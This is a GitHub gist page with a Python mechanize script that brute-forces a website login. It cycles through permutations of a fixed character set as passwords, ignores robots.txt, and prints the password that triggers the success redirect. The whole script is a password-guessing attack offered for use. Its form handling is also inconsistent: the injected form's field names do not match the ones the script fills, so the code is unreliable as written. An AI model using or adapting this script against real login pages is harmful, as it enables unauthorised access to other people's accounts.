Skip to content

Instantly share code, notes, and snippets.

@guinslym
Forked from RDharmaTeja/troubleshoot_mechanize.py
Created September 19, 2017 04:10
Show Gist options
  • Save guinslym/1151e03d668b40d9645f6b12f21a8cef to your computer and use it in GitHub Desktop.
Save guinslym/1151e03d668b40d9645f6b12f21a8cef to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import mechanize
import itertools
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
combos=itertools.permutations("i34U^hP-",8)
r =br.open("https://www.example.com/login/")
for x in combos:
new_form = '''
<form method="post" action="index.php">
<b>Enter the username :</b><input type="text" name="rollno" size="16" maxlength="8">
<b>Enter the password:</b><input type="password" name="pwd" size="16">
<input type="submit" name="submit" value="Submit">
</form>
'''
#all you have to take care is they have the same name for input fields and submit button
r.set_data(new_form)
br.set_response(r)
br.select_form( nr = 0 )
br.form['userName'] = "user name"
br.form['password'] = ''.join(x)
print "Checking ",br.form['password']
response=br.submit()
if response.geturl()=="http://www.example.com/redirected_to_url":
#url to which the page is redirected after login
print "Correct password is ",''.join(x)
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment